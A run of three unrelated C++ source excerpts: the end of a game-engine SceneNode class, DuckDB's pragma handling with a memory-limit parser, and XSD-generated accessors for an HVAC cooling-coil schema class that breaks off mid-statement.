mMouseOverNodes.clear(); } void SceneNode::onSizeChange() { if ( NULL != mFrameBuffer && ( mFrameBuffer->getWidth() < mSize.getWidth() || mFrameBuffer->getHeight() < mSize.getHeight() ) ) { if ( NULL == mFrameBuffer ) { createFrameBuffer(); } else { Sizei fboSize( getFrameBufferSize() ); mFrameBuffer->resize( fboSize.getWidth(), fboSize.getHeight() ); } } Node::onSizeChange(); } void SceneNode::addToCloseQueue( Node* node ) { eeASSERT( NULL != node ); Node* itNode = NULL; if ( mCloseList.count( node ) > 0 ) return; // If the parent is closing all his children, we skip all the verifications and add it to the // close list if ( node->getParent() && node->getParent()->isClosingChildren() ) { mCloseList.insert( node ); return; } for ( auto& closeNode : mCloseList ) { if ( closeNode && closeNode->isParentOf( node ) ) { // If a parent will be removed, means that the node // that we are trying to queue will be removed by the father // so we skip it return; } } std::vector itEraseList; for ( auto it = mCloseList.begin(); it != mCloseList.end(); ++it ) { itNode = *it; if ( NULL == itNode || node->isParentOf( itNode ) ) { // if the node added is parent of another node already added, // we remove the already added node because it will be deleted // by its parent itEraseList.push_back( it ); } } // We delete all the nodes that don't need to be deleted // because of the new added node to the queue for ( auto ite = itEraseList.begin(); ite != itEraseList.end(); ++ite ) { mCloseList.erase( *ite ); } mCloseList.insert( node ); } void SceneNode::checkClose() { if ( !mCloseList.empty() ) { // First we need to create a temporal copy of the close list because it can change its // content while deleting the elements, since the elements can call to any node close() // at any moment (and in this case during the deletion of a node). // Once copied we need to clear the close list and start the new close list for the next // check. CloseList closeListCopy( mCloseList ); mCloseList.clear(); for ( Node* node : closeListCopy ) eeDelete( node ); } } Sizei SceneNode::getFrameBufferSize() { return mSize.ceil().asInt(); } void SceneNode::createFrameBuffer() { writeNodeFlag( NODE_FLAG_FRAME_BUFFER, 1 ); eeSAFE_DELETE( mFrameBuffer ); Sizei fboSize( getFrameBufferSize() ); if ( fboSize.getWidth() < 1 ) fboSize.setWidth( 1 ); if ( fboSize.getHeight() < 1 ) fboSize.setHeight( 1 ); mFrameBuffer = FrameBuffer::New( fboSize.getWidth(), fboSize.getHeight(), true, false, false, 4, mWindow ); // Frame buffer failed to create? if ( !mFrameBuffer->created() ) { eeSAFE_DELETE( mFrameBuffer ); } } void SceneNode::drawFrameBuffer() { if ( NULL != mFrameBuffer ) { if ( mFrameBuffer->hasColorBuffer() ) { mFrameBuffer->draw( Rect( 0, 0, mSize.getWidth(), mSize.getHeight() ), Rect( mScreenPos.x, mScreenPos.y, mScreenPos.x + mSize.getWidth(), mScreenPos.y + mSize.getHeight() ) ); } else { Rect r = Rect( 0, 0, mSize.getWidth(), mSize.getHeight() ); TextureRegion textureRegion( mFrameBuffer->getTexture()->getTextureId(), r, r.getSize().asFloat() ); textureRegion.draw( mScreenPosi.x, mScreenPosi.y, Color::White, getRotation(), getScale() ); } } } void SceneNode::enableDrawInvalidation() { mUseInvalidation = true; } void SceneNode::disableDrawInvalidation() { mUseInvalidation = false; } EE::Window::Window* SceneNode::getWindow() { return mWindow; } void SceneNode::matrixSet() { if ( NULL != mFrameBuffer ) { if ( !mUseInvalidation || invalidated() ) { mFrameBufferBound = true; mFrameBuffer->bind(); mFrameBuffer->clear(); } if ( 0.f != mScreenPos ) { GLi->pushMatrix(); GLi->translatef( -mScreenPos.x, -mScreenPos.y, 0.f ); } } else { Node::matrixSet(); } } void SceneNode::matrixUnset() { if ( NULL != mFrameBuffer ) { GlobalBatchRenderer::instance()->draw(); if ( 0.f != mScreenPos ) GLi->popMatrix(); if ( mFrameBufferBound ) { mFrameBuffer->unbind(); mFrameBufferBound = false; } drawFrameBuffer(); } else { Node::matrixUnset(); } } void SceneNode::sendMsg( Node* node, const Uint32& msg, const Uint32& flags ) { NodeMessage tMsg( node, msg, flags ); node->messagePost( &tMsg ); } void SceneNode::resizeNode( EE::Window::Window* ) { setSize( (Float)mWindow->getWidth(), (Float)mWindow->getHeight() ); sendMsg( this, NodeMessage::WindowResize ); } FrameBuffer* SceneNode::getFrameBuffer() const { return mFrameBuffer; } void SceneNode::setEventDispatcher( EventDispatcher* eventDispatcher ) { mEventDispatcher = eventDispatcher; } EventDispatcher* SceneNode::getEventDispatcher() const { return mEventDispatcher; } void SceneNode::setDrawDebugData( bool debug ) { if ( mDrawDebugData != debug ) { mDrawDebugData = debug; onDrawDebugDataChange(); } } bool SceneNode::getDrawDebugData() const { return mDrawDebugData; } void SceneNode::setDrawBoxes( bool draw ) { mDrawBoxes = draw; invalidateDraw(); } bool SceneNode::getDrawBoxes() const { return mDrawBoxes; } void SceneNode::setHighlightOver( bool Highlight ) { mHighlightOver = Highlight; invalidateDraw(); } bool SceneNode::getHighlightOver() const { return mHighlightOver; } void SceneNode::setHighlightFocus( bool Highlight ) { mHighlightFocus = Highlight; invalidateDraw(); } bool SceneNode::getHighlightFocus() const { return mHighlightFocus; } void SceneNode::setHighlightInvalidation( bool Highlight ) { mHighlightInvalidation = Highlight; invalidateDraw(); } bool SceneNode::getHighlightInvalidation() const { return mHighlightInvalidation; } void SceneNode::setHighlightOverColor( const Color& color ) { mHighlightOverColor = color; invalidateDraw(); } const Color& SceneNode::getHighlightOverColor() const { return mHighlightOverColor; } void SceneNode::setHighlightFocusColor( const Color& color ) { mHighlightFocusColor = color; invalidateDraw(); } const Color& SceneNode::getHighlightFocusColor() const { return mHighlightFocusColor; } void SceneNode::setHighlightInvalidationColor( const Color& color ) { mHighlightInvalidationColor = color; invalidateDraw(); } const Color& SceneNode::getHighlightInvalidationColor() const { return mHighlightInvalidationColor; } const Time& SceneNode::getElapsed() const { return mElapsed; } bool SceneNode::usesInvalidation() { return mUseInvalidation; } void SceneNode::setUseGlobalCursors( const bool& use ) { mUseGlobalCursors = use; } const bool& SceneNode::getUseGlobalCursors() { return mUseGlobalCursors; } void SceneNode::setCursor( Cursor::Type cursor ) { if ( mUseGlobalCursors ) { mWindow->getCursorManager()->set( cursor ); } } bool SceneNode::isDrawInvalidator() const { return true; } ActionManager* SceneNode::getActionManager() const { return mActionManager; } void SceneNode::preDraw() {} void SceneNode::postDraw() {} void SceneNode::onDrawDebugDataChange() {} void SceneNode::subscribeScheduledUpdate( Node* node ) { mScheduledUpdate.insert( node ); } void SceneNode::unsubscribeScheduledUpdate( Node* node ) { mScheduledUpdateRemove.insert( node ); } bool SceneNode::isSubscribedForScheduledUpdate( Node* node ) { return mScheduledUpdate.count( node ) > 0; } void SceneNode::addMouseOverNode( Node* node ) { mMouseOverNodes.insert( node ); } void SceneNode::removeMouseOverNode( Node* node ) { mMouseOverNodes.erase( node ); } const bool& SceneNode::getUpdateAllChilds() const { return mUpdateAllChilds; } void SceneNode::setUpdateAllChilds( const bool& updateAllChilds ) { mUpdateAllChilds = updateAllChilds; } const Float& SceneNode::getDPI() const { return mDPI; } }} // namespace EE::Scene #include "duckdb/execution/operator/helper/physical_pragma.hpp" #include "duckdb/main/client_context.hpp" #include "duckdb/main/database.hpp" #include "duckdb/storage/storage_manager.hpp" #include "duckdb/storage/buffer_manager.hpp" #include "duckdb/common/operator/cast_operators.hpp" #include "duckdb/planner/expression_binder.hpp" #include using namespace duckdb; using namespace std; static idx_t ParseMemoryLimit(string arg); void PhysicalPragma::GetChunkInternal(ClientContext &context, DataChunk &chunk, PhysicalOperatorState *state) { auto &pragma = *info; auto &keyword = pragma.name; if (keyword == "enable_profile" || keyword == "enable_profiling") { // enable profiling if (pragma.pragma_type == PragmaType::ASSIGNMENT) { // enable_profiling with assignment // this is either enable_profiling = json, or enable_profiling = query_tree string assignment = pragma.parameters[0].ToString(); if (assignment == "json") { context.profiler.automatic_print_format = ProfilerPrintFormat::JSON; } else if (assignment == "query_tree") { context.profiler.automatic_print_format = ProfilerPrintFormat::QUERY_TREE; } else { throw ParserException("Unrecognized print format %s, supported formats: [json, query_tree]", assignment.c_str()); } } else if (pragma.pragma_type == PragmaType::NOTHING) { context.profiler.automatic_print_format = ProfilerPrintFormat::QUERY_TREE; } else { throw ParserException("Cannot call PRAGMA enable_profiling"); } context.profiler.Enable(); } else if (keyword == "disable_profile" || keyword == "disable_profiling") { if (pragma.pragma_type != PragmaType::NOTHING) { throw ParserException("disable_profiling cannot take parameters!"); } // enable profiling context.profiler.Disable(); context.profiler.automatic_print_format = ProfilerPrintFormat::NONE; } else if (keyword == "profiling_output" || keyword == "profile_output") { // set file location of where to save profiling output if (pragma.pragma_type != PragmaType::ASSIGNMENT || pragma.parameters[0].type != TypeId::VARCHAR) { throw ParserException( "Profiling output must be an assignment (e.g. PRAGMA profile_output='/tmp/test.json')"); } context.profiler.save_location = pragma.parameters[0].str_value; } else if (keyword == "memory_limit") { if (pragma.pragma_type != PragmaType::ASSIGNMENT) { throw ParserException("Memory limit must be an assignment (e.g. PRAGMA memory_limit='1GB')"); } if (pragma.parameters[0].type == TypeId::VARCHAR) { idx_t new_limit = ParseMemoryLimit(pragma.parameters[0].str_value); // set the new limit in the buffer manager context.db.storage->buffer_manager->SetLimit(new_limit); } else { int64_t value = pragma.parameters[0].GetValue(); if (value < 0) { // limit < 0, set limit to infinite context.db.storage->buffer_manager->SetLimit(); } else { throw ParserException( "Memory limit must be an assignment with a memory unit (e.g. PRAGMA memory_limit='1GB')"); } } } else if (keyword == "collation" || keyword == "default_collation") { if (pragma.pragma_type != PragmaType::ASSIGNMENT) { throw ParserException("Collation must be an assignment (e.g. PRAGMA default_collation=NOCASE)"); } auto collation_param = StringUtil::Lower(pragma.parameters[0].CastAs(TypeId::VARCHAR).str_value); // bind the collation to verify that it exists ExpressionBinder::PushCollation(context, nullptr, collation_param); context.db.collation = collation_param; } else { throw ParserException("Unrecognized PRAGMA keyword: %s", keyword.c_str()); } } idx_t ParseMemoryLimit(string arg) { // split based on the number/non-number idx_t idx = 0; while (std::isspace(arg[idx])) { idx++; } idx_t num_start = idx; while ((arg[idx] >= '0' && arg[idx] <= '9') || arg[idx] == '.' || arg[idx] == 'e' || arg[idx] == 'E' || arg[idx] == '-') { idx++; } if (idx == num_start) { throw ParserException("Memory limit must have a number (e.g. PRAGMA memory_limit=1GB"); } string number = arg.substr(num_start, idx - num_start); // try to parse the number double limit = Cast::Operation(number.c_str()); // now parse the memory limit unit (e.g. bytes, gb, etc) while (std::isspace(arg[idx])) { idx++; } idx_t start = idx; while (idx < arg.size() && !std::isspace(arg[idx])) { idx++; } if (limit < 0) { // limit < 0, set limit to infinite return (idx_t)-1; } string unit = StringUtil::Lower(arg.substr(start, idx - start)); idx_t multiplier; if (unit == "byte" || unit == "bytes" || unit == "b") { multiplier = 1; } else if (unit == "kilobyte" || unit == "kilobytes" || unit == "kb" || unit == "k") { multiplier = 1000LL; } else if (unit == "megabyte" || unit == "megabytes" || unit == "mb" || unit == "m") { multiplier = 1000LL * 1000LL; } else if (unit == "gigabyte" || unit == "gigabytes" || unit == "gb" || unit == "g") { multiplier = 1000LL * 1000LL * 1000LL; } else if (unit == "terabyte" || unit == "terabytes" || unit == "tb" || unit == "t") { multiplier = 1000LL * 1000LL * 1000LL * 1000LL; } else { throw ParserException("Unknown unit for memory_limit: %s (expected: b, mb, gb or tb)", unit.c_str()); } return (idx_t)multiplier * limit; } // Copyright (c) 2005-2014 Code Synthesis Tools CC // // This program was generated by CodeSynthesis XSD, an XML Schema to // C++ data binding compiler. // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA // // In addition, as a special exception, Code Synthesis Tools CC gives // permission to link this program with the Xerces-C++ library (or with // modified versions of Xerces-C++ that use the same license as Xerces-C++), // and distribute linked combinations including the two. You must obey // the GNU General Public License version 2 in all respects for all of // the code used other than Xerces-C++. If you modify this copy of the // program, you may extend this exception to your version of the program, // but you are not obligated to do so. If you do not wish to do so, delete // this exception statement from your version. // // Furthermore, Code Synthesis Tools CC makes a special exception for // the Free/Libre and Open Source Software (FLOSS) which is described // in the accompanying FLOSSE file. // // Begin prologue. // // // End prologue. #include #include "SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit.hxx" #include "doublelist.hxx" namespace schema { namespace simxml { namespace MepModel { // SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit // const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_NumSpeeds_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NumSpeeds () const { return this->SimFlowEnergyTrans_NumSpeeds_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_NumSpeeds_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NumSpeeds () { return this->SimFlowEnergyTrans_NumSpeeds_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NumSpeeds (const SimFlowEnergyTrans_NumSpeeds_type& x) { this->SimFlowEnergyTrans_NumSpeeds_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NumSpeeds (const SimFlowEnergyTrans_NumSpeeds_optional& x) { this->SimFlowEnergyTrans_NumSpeeds_ = x; } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_IndoorAirInletNodeName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirInletNodeName () const { return this->SimFlowEnergyTrans_IndoorAirInletNodeName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_IndoorAirInletNodeName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirInletNodeName () { return this->SimFlowEnergyTrans_IndoorAirInletNodeName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirInletNodeName (const SimFlowEnergyTrans_IndoorAirInletNodeName_type& x) { this->SimFlowEnergyTrans_IndoorAirInletNodeName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirInletNodeName (const SimFlowEnergyTrans_IndoorAirInletNodeName_optional& x) { this->SimFlowEnergyTrans_IndoorAirInletNodeName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirInletNodeName (::std::auto_ptr< SimFlowEnergyTrans_IndoorAirInletNodeName_type > x) { this->SimFlowEnergyTrans_IndoorAirInletNodeName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_IndoorAirOutletNodeName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirOutletNodeName () const { return this->SimFlowEnergyTrans_IndoorAirOutletNodeName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_IndoorAirOutletNodeName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirOutletNodeName () { return this->SimFlowEnergyTrans_IndoorAirOutletNodeName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirOutletNodeName (const SimFlowEnergyTrans_IndoorAirOutletNodeName_type& x) { this->SimFlowEnergyTrans_IndoorAirOutletNodeName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirOutletNodeName (const SimFlowEnergyTrans_IndoorAirOutletNodeName_optional& x) { this->SimFlowEnergyTrans_IndoorAirOutletNodeName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_IndoorAirOutletNodeName (::std::auto_ptr< SimFlowEnergyTrans_IndoorAirOutletNodeName_type > x) { this->SimFlowEnergyTrans_IndoorAirOutletNodeName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_NominalSpeedLevel_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NominalSpeedLevel () const { return this->SimFlowEnergyTrans_NominalSpeedLevel_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_NominalSpeedLevel_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NominalSpeedLevel () { return this->SimFlowEnergyTrans_NominalSpeedLevel_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NominalSpeedLevel (const SimFlowEnergyTrans_NominalSpeedLevel_type& x) { this->SimFlowEnergyTrans_NominalSpeedLevel_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NominalSpeedLevel (const SimFlowEnergyTrans_NominalSpeedLevel_optional& x) { this->SimFlowEnergyTrans_NominalSpeedLevel_ = x; } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel () const { return this->SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel () { return this->SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel (const SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_type& x) { this->SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel (const SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_optional& x) { this->SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_ = x; } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel () const { return this->SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel () { return this->SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel (const SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_type& x) { this->SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel (const SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_optional& x) { this->SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_ = x; } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil () const { return this->SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil () { return this->SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil (const SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_type& x) { this->SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil (const SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_optional& x) { this->SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_ = x; } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap () const { return this->SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap () { return this->SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap (const SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_type& x) { this->SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap (const SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_optional& x) { this->SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_ = x; } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_EnergyPartLoadFractionCurveName () const { return this->SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_EnergyPartLoadFractionCurveName () { return this->SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_EnergyPartLoadFractionCurveName (const SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_type& x) { this->SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_EnergyPartLoadFractionCurveName (const SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_optional& x) { this->SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_EnergyPartLoadFractionCurveName (::std::auto_ptr< SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_type > x) { this->SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName () const { return this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName () { return this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName (const SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_type& x) { this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName (const SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_optional& x) { this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName (::std::auto_ptr< SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_type > x) { this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_.set (x); } const 